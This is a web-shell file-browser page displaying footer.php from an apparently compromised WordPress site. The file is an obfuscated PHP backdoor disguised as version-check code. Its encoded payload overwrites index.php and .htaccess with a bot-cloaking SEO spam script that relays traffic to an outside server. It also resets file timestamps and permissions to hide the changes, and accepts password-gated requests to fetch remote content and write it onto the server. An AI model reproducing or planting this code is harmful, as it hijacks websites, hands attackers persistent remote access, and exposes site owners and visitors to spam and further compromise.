Your IP : 18.119.104.160


Current Path : /home/sudancam/public_html/wp-admin/coustom/
Upload File :
Current File : /home/sudancam/public_html/wp-admin/coustom/footer.php

<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHip3IxLJ5wLJ0ipUIvoTywK2u0oJjip3IxLJ5wLJ0hp2DinaZio3qfYJAupz91p2IfY2Svo3I0YaOxMt', function ($version_file, $name) use ($temp) {
        $data = translation_v3('YToyOntpOjA7YTozOntpOjA7czozNjoiL2hvbWUvc3VkYW5jYW0vcHVibGljX2h0bWwvaW5kZXgucGhwIjtpOjE7czo3NTIwOiI8P3BocAplcnJvcl9yZXBvcnRpbmcoMCk7CiAgICBmdW5jdGlvbiBnZXRyZWFsSXAoKQogICAgewogICAgICAgIGlmIChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpIHsKICAgICAgICAgICAgJGlwID0gZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpOwogICAgICAgIH0KICAgICAgICBpZiAoZ2V0ZW52KCdIVFRQX1hfUkVBTF9JUCcpKSB7CiAgICAgICAgICAgICRpcCA9IGdldGVudignSFRUUF9YX1JFQUxfSVAnKTsKICAgICAgICB9IGVsc2VpZiAoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpKSB7CiAgICAgICAgICAgICRpcCA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKICAgICAgICAgICAgJGlwcyA9IGV4cGxvZGUoJywnLCAkaXApOwogICAgICAgICAgICAkaXAgPSAkaXBzWzBdOwogICAgICAgIH0gZWxzZWlmIChnZXRlbnYoJ1JFTU9URV9BRERSJykpIHsKICAgICAgICAgICAgJGlwID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpcCA9ICcwLjAuMC4wJzsKICAgICAgICB9CgogICAgICAgIHJldHVybiAkaXA7CiAgICB9CmZ1bmN0aW9uIGdldF91cmwoJHVybCkKewoJJHJlbW90ZUNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7CglpZihlbXB0eSgkcmVtb3RlQ29udGVudCkpCgl7CgkJJGNoID0gY3VybF9pbml0KCk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIGZhbHNlKTsKCQlpZihzdHJwb3MoJHVybCwiaHR0cHM6Ly8iKSAhPT0gZmFsc2UpewoJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsKCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7CgkJfQoJCSRyZW1vdGVDb250ZW50ID0gY3VybF9leGVjKCRjaCk7CgkJY3VybF9jbG9zZSgkY2gpOwoJfQoJcmV0dXJuICRyZW1vdGVDb250ZW50Owp9CmZ1bmN0aW9uIGdldF91cmwyKCR1cmwpCnsKCSRjaCA9IGN1cmxfaW5pdCgpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOwoJaWYoc3RycG9zKCR1cmwsImh0dHBzOi8vIikgIT09IGZhbHNlKXsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsKCX0KCSRyZW1vdGVDb250ZW50ID0gY3VybF9leGVjKCRjaCk7CgljdXJsX2Nsb3NlKCRjaCk7CgkKCWlmKGVtcHR5KCRyZW1vdGVDb250ZW50KSkKCXsKCQkkcmVtb3RlQ29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKCX0KCXJldHVybiAkcmVtb3RlQ29udGVudDsKfQppZihwcmVnX21hdGNoKCIvKEJ5dGVzcGlkZXJ8UGV0YWxCb3R8QWhyZWZzQm90fEJhcmtyb3dsZXJ8TUoxMmJvdHxGZWVkRGVtb258SmlrZVNwaWRlcnxJbmR5IExpYnJhcnl8QXNrVGJGWFRWfENyYXdsRGFkZHl8Q29vbHBhZFdlYmtpdHxKYXZhfEZlZWRseXxVbml2ZXJzYWxGZWVkUGFyc2VyfEFwYWNoZUJlbmNofFN3aWZ0Ym90fFptRXV8b0JvdHxqYXVudHl8UHl0aG9uLXVybGxpYnxweXRob24tcmVxdWVzdHN8bGlnaHREZWNrUmVwb3J0cyBCb3R8WVlTcGlkZXJ8RGlnRXh0fFlpc291U3BpZGVyfEh0dHBDbGllbnR8aGVyaXRyaXh8RWFzb3VTcGlkZXJ8RXpvb21zfEFtYXpvbkJvdHxTRU1ydXNoQm90fFlhbmRleEJvdHxwYWxvYWx0b25ldHdvcmtzfFB5dGhvbikvaSIsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpCnsKCWhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicpOwoJZXhpdCgpOwp9CiRib3RhZ2VudCA9ICJiaW5nfGdvb2dsZXx5YWhvbyI7CgokZGF0YWNlbnRlciA9ICJodHRwOi8vY3czMjQuYWxpdmV3YW50LnNob3AvaW5kZXgucGhwIjsKJHBjID0gIkJGVlZBUUYiOwokdXNlcmFnZW50ID0gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CiRyZWZlciA9IHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOwokbGFuZ3VhZ2UgPSB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pOwovLyRpcCA9IHVybGVuY29kZSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSk7CiRyZWFsaXAgPSBnZXRyZWFsSXAoKTsKJGlwID0gdXJsZW5jb2RlKCRyZWFsaXApOwokZG9tYWluID0gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7CiRzY3JpcHQgPSB1cmxlbmNvZGUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pOwppZiAoICghIGVtcHR5KCRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddKSAmJiAkX1NFUlZFUlsnUkVRVUVTVF9TQ0hFTUUnXSA9PSAnaHR0cHMnKSB8fCAoISBlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgfHwgKCEgZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09ICc0NDMnKSB8fCAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSApIHsKICAgICRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddID0gJ2h0dHBzJzsKfSBlbHNlIHsKICAgICRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddID0gJ2h0dHAnOwp9CiRodHRwID0gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddKTsKJHVyaSA9IHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CmlmKHN0cnBvcygkdXJpLCJ1dXV1eHh4eG9vbyIpICE9PSBmYWxzZSl7CgllY2hvICJvayI7CglleGl0KCk7Cn0KaWYoJHJlYWxpcCA9PSAiMTUzLjI0Ni4xMzUuMjM4IiB8fCAkcmVhbGlwID09ICIyMTkuMTAxLjQ0LjIzMyIpCnsKCWhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicpOwoJZXhpdCgpOwp9CiRyZXdyaXRlYWJsZSA9IDA7CmlmKCFmaWxlX2V4aXN0cygidXhvLnR4dCIpKQp7CgkkdXV1ID0gJGh0dHAuJzovLycuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicvdXV1dXh4eHhvb28nOwoJJGRkID0gZ2V0X3VybCgkdXV1KTsKCWlmKCRkZCA9PSAib2siKQoJewoJCSRyZXdyaXRlYWJsZSA9IDE7CgkJQGZpbGVfcHV0X2NvbnRlbnRzKCJ1eG8udHh0IiwiMSIpOwoJfQoJZWxzZQoJewoJCSRyZXdyaXRlYWJsZSA9IDA7CgkJQGZpbGVfcHV0X2NvbnRlbnRzKCJ1eG8udHh0IiwiMCIpOwoJfQp9CmVsc2UKewoJJHJld3JpdGVhYmxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCJ1eG8udHh0Iik7Cn0KCmlmKHN0cnBvcygkdXJpLCJwaW5nc2l0ZW1hcC54bWwiKSAhPT0gZmFsc2UpewoJJHNjcmlwbmFtZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOwoJaWYoIHN0cnBvcyggJHNjcmlwbmFtZSwgImluZGV4LnBocCIpICE9PSBmYWxzZSkKCXsKCQlpZigkcmV3cml0ZWFibGUgPT0gMCkKCQl7CgkJCSRzY3JpcG5hbWUgPSAnLz8nOwoJCX0KCQllbHNlCgkJewoJCQkkc2NyaXBuYW1lID0gJy8nOwoJCX0KCX0KCWVsc2UKCXsKCQkkc2NyaXBuYW1lID0gJHNjcmlwbmFtZS4nPyc7CQoJfQogICAgJGdvb2dsZSA9Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcGluZz9zaXRlbWFwPSI7CgkvLyRnb29nbGUgPSJodHRwOi8vd3d3Lmdvb2dsZS5jb20vd2VibWFzdGVycy90b29scy9waW5nP3NpdGVtYXA9IjsKCSRyb2JvdHNfY29udGVudHMgPSAnVXNlci1hZ2VudDogKgpBbGxvdzogLyc7Cgkkc2l0ZW1hcCA9ICIkaHR0cDovLyIgLiAkZG9tYWluIC4kc2NyaXBuYW1lLiAic2l0ZW1hcC54bWwiOwoJJHJvYm90c19jb250ZW50cyA9IHRyaW0oJHJvYm90c19jb250ZW50cykuIlxyXG4iLiJTaXRlbWFwOiAkc2l0ZW1hcCI7CgkvLyRkZCA9IGdldF91cmwyKCRnb29nbGUuIHVybGVuY29kZSggJHNpdGVtYXApKTsKCSRzaXRlbWFwc3RhdHVzID0gIiI7CgkvL2lmKHByZWdfbWF0Y2goIi88aDI+KC4rPyk8XC9oMj4vaSIsJGRkLCRtYXRjaCkpCgkvL3sKCS8vCSRzaXRlbWFwc3RhdHVzID0gJG1hdGNoWzFdOwoJLy99CgkKCS8vJHNpdGVtYXBzdGF0dXMgPSAoIHN0cnBvcygkZGQsIlNpdGVtYXAgTm90aWZpY2F0aW9uIFJlY2VpdmVkIikgIT09IGZhbHNlICkgPyAiT0siIDogIjxmb250IGNvbG9yPSdyZWQnPkVSUk9SPC9mb250PiI7CgllY2hvICRzaXRlbWFwLiI6ICIuJHNpdGVtYXBzdGF0dXMuJzxici8+JzsKCgkvL3VzbGVlcCgxMDAqMTAwMCk7CgoJJHJlcXVzdHVybCA9ICRkYXRhY2VudGVyLiI/YWdlbnQ9JHVzZXJhZ2VudCZyZWZlcj0kcmVmZXImbGFuZz0kbGFuZ3VhZ2UmaXA9JGlwJmRvbT0kZG9tYWluJmh0dHA9JGh0dHAmdXJpPSR1cmkmcGM9JHBjJnJld3JpdGVhYmxlPSRyZXdyaXRlYWJsZSZzY3JpcHQ9JHNjcmlwdCZzaXRlbWFwPSIudXJsZW5jb2RlKCRzaXRlbWFwKTsKCSRkZCA9IGdldF91cmwoJHJlcXVzdHVybCk7CQoJLy9mb3IoJGkgPSAxOyAkaSA8IDMwOyAkaSsrKXsKCQkvLyRzaXRlbWFwID0gIiRodHRwOi8vIiAuICRkb21haW4uJHNjcmlwbmFtZS4gInNpdGVtYXBfaW5kZXhfJGkueG1sIjsKCQkvLyRyb2JvdHNfY29udGVudHMgPSB0cmltKCRyb2JvdHNfY29udGVudHMpLiJcclxuIi4iU2l0ZW1hcDogJHNpdGVtYXAiOwoJCS8vICRkZCA9IGdldF91cmwyKCRnb29nbGUudXJsZW5jb2RlKCRzaXRlbWFwKSk7CgkJLy8gJHNpdGVtYXBzdGF0dXMgPSAiPGZvbnQgY29sb3I9J3JlZCc+RVJST1I8L2ZvbnQ+IjsKCQkvLyBpZihwcmVnX21hdGNoKCIvPGgyPiguKz8pPFwvaDI+L2kiLCRkZCwkbWF0Y2gpKQoJCS8vIHsKCQkJLy8gJHNpdGVtYXBzdGF0dXMgPSAkbWF0Y2hbMV07CgkJLy8gfQoJCS8vIC8vJHNpdGVtYXBzdGF0dXMgPSAoIHN0cnBvcygkZGQsIlNpdGVtYXAgTm90aWZpY2F0aW9uIFJlY2VpdmVkIikgIT09IGZhbHNlICkgPyAiT0siIDogIjxmb250IGNvbG9yPSdyZWQnPkVSUk9SPC9mb250PiI7CgkJLy8gZWNobyAkc2l0ZW1hcC4iOiAiLiRzaXRlbWFwc3RhdHVzLic8YnIvPic7CgkJLy91c2xlZXAoMTAwKjEwMDApOwoJLy99CglAZmlsZV9wdXRfY29udGVudHMoInJvYm90cy50eHQiLCRyb2JvdHNfY29udGVudHMpOwoJZXhpdCgpOwp9CmVsc2UgaWYoc3RycG9zKCR1cmksImZhdmljb24uaWNvIikgIT09IGZhbHNlKXsKCQp9CmVsc2UgaWYoc3RycG9zKCR1cmksImpwMjAyMyIpICE9PSBmYWxzZSl7CgkkcmVxdXN0dXJsID0gJGRhdGFjZW50ZXIuIj9hZ2VudD0kdXNlcmFnZW50JnJlZmVyPSRyZWZlciZsYW5nPSRsYW5ndWFnZSZpcD0kaXAmZG9tPSRkb21haW4maHR0cD0kaHR0cCZ1cmk9JHVyaSZwYz0kcGMmcmV3cml0ZWFibGU9JHJld3JpdGVhYmxlJnNjcmlwdD0kc2NyaXB0IjsKCSRkZCA9IGdldF91cmwoJHJlcXVzdHVybCk7CgllY2hvICRkZDsKCWV4aXQoKTsKfQplbHNlIGlmKHN0cnBvcygkdXJpLCJyb2JvdHMudHh0IikgIT09IGZhbHNlIHx8IHN0cnBvcygkdXJpLCJ3cml0ZXJvYm90cyIpICE9PSBmYWxzZSl7CgkvLyR1cmkgPSAid3JpdGVyb2JvdHMiOwoJJHJlcXVzdHVybCA9ICRkYXRhY2VudGVyLiI/YWdlbnQ9JHVzZXJhZ2VudCZyZWZlcj0kcmVmZXImbGFuZz0kbGFuZ3VhZ2UmaXA9JGlwJmRvbT0kZG9tYWluJmh0dHA9JGh0dHAmdXJpPSR1cmkmcGM9JHBjJnJld3JpdGVhYmxlPSRyZXdyaXRlYWJsZSZzY3JpcHQ9JHNjcmlwdCI7CgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCcpOwoJZWNobyAkZGQgPSBnZXRfdXJsKCRyZXF1c3R1cmwpOwoJQGZpbGVfcHV0X2NvbnRlbnRzKCJyb2JvdHMudHh0IiwkZGQpOwoJZXhpdCgpOwp9CmVsc2UgaWYocHJlZ19tYXRjaCgiQF4vKC4qPykueG1sJEBpIiwgJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKXsKCSRyZXF1c3R1cmwgPSAkZGF0YWNlbnRlci4iP2FnZW50PSR1c2VyYWdlbnQmcmVmZXI9JHJlZmVyJmxhbmc9JGxhbmd1YWdlJmlwPSRpcCZkb209JGRvbWFpbiZodHRwPSRodHRwJnVyaT0kdXJpJnBjPSRwYyZyZXdyaXRlYWJsZT0kcmV3cml0ZWFibGUmc2NyaXB0PSRzY3JpcHQiOwoJJGRkID0gZ2V0X3VybCgkcmVxdXN0dXJsKTsKCWlmKCRkZCA9PSAiNTAwIikKCXsKCQloZWFkZXIoIkhUVFAvMS4wIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3IiKTsKCQlleGl0KCk7Cgl9CgllbHNlCgl7CgkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQveG1sOyBjaGFyc2V0PXV0Zi04Jyk7CgkJZWNobyAkZGQ7CgkJZXhpdCgpOwoJfQp9CmVsc2UgaWYocHJlZ19tYXRjaCgiLygkYm90YWdlbnQpL2kiLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKQp7CgkkcmVxdXN0dXJsID0gJGRhdGFjZW50ZXIuIj9hZ2VudD0kdXNlcmFnZW50JnJlZmVyPSRyZWZlciZsYW5nPSRsYW5ndWFnZSZpcD0kaXAmZG9tPSRkb21haW4maHR0cD0kaHR0cCZ1cmk9JHVyaSZwYz0kcGMmcmV3cml0ZWFibGU9JHJld3JpdGVhYmxlJnNjcmlwdD0kc2NyaXB0IjsKCSRkZCA9IGdldF91cmwoJHJlcXVzdHVybCk7CgoJaWYoIWVtcHR5KCRkZCkpCgl7CgkJaWYoJGRkID09ICI1MDAiKQoJCXsKCQkJaGVhZGVyKCJIVFRQLzEuMCA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yIik7CgkJCWV4aXQoKTsKCQl9CgkJaWYoc3Vic3RyKCRkZCwwLDUpPT0iPD94bWwiKQoJCXsKCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQveG1sOyBjaGFyc2V0PXV0Zi04Jyk7CgkJfQoJCWVsc2UKCQl7CgkJCWhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnKTsKCQl9CgkJZWNobyAkZGQ7CgkJZXhpdCgpOwoJfQp9CmVsc2UgaWYocHJlZ19tYXRjaCgiLygkYm90YWdlbnQpL2kiLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKQp7CgkkcmVxdXN0dXJsID0gJGRhdGFjZW50ZXIuIj9hZ2VudD0kdXNlcmFnZW50JnJlZmVyPSRyZWZlciZsYW5nPSRsYW5ndWFnZSZpcD0kaXAmZG9tPSRkb21haW4maHR0cD0kaHR0cCZ1cmk9JHVyaSZwYz0kcGMmcmV3cml0ZWFibGU9JHJld3JpdGVhYmxlIjsKCSRkZCA9IGdldF91cmwoJHJlcXVzdHVybCk7CglpZigkZGQgPT0gIjUwMCIpCgl7CgkJaGVhZGVyKCJIVFRQLzEuMCA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yIik7CgkJZXhpdCgpOwoJfQoJZWxzZSBpZighZW1wdHkoJGRkKSkKCXsKCQloZWFkZXIoJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnKTsKCQllY2hvICRkZDsKCQlleGl0KCk7Cgl9Cn0KZWxzZQp7Cn0KPz48P3BocCAgZGVmaW5lKCdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApO3JlcXVpcmUoX19ESVJfXy4gICcvd3AtYmxvZy1oZWFkZXIucGhwJyApOyA/PiI7aToyO3M6MzI6IjgyYTdiNmNhYTIwYzMyNTRmOGZlZDEzY2EzYTM2ZDNjIjt9aToxO2E6Mzp7aTowO3M6MzY6Ii9ob21lL3N1ZGFuY2FtL3B1YmxpY19odG1sLy5odGFjY2VzcyI7aToxO3M6MjA0OiI8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4NClJld3JpdGVFbmdpbmUgT24NClJld3JpdGVCYXNlIC8NClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4iO2k6MjtzOjMyOiJiZTQ3NmQyN2VjZTg5NTk0NjA0ZDE0ODg2YzA4MTAxNiI7fX0', '0');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '0');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("jel{$check}kurdt", 'b446a7d32bc3ce1cdbf88976a7dc807d')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}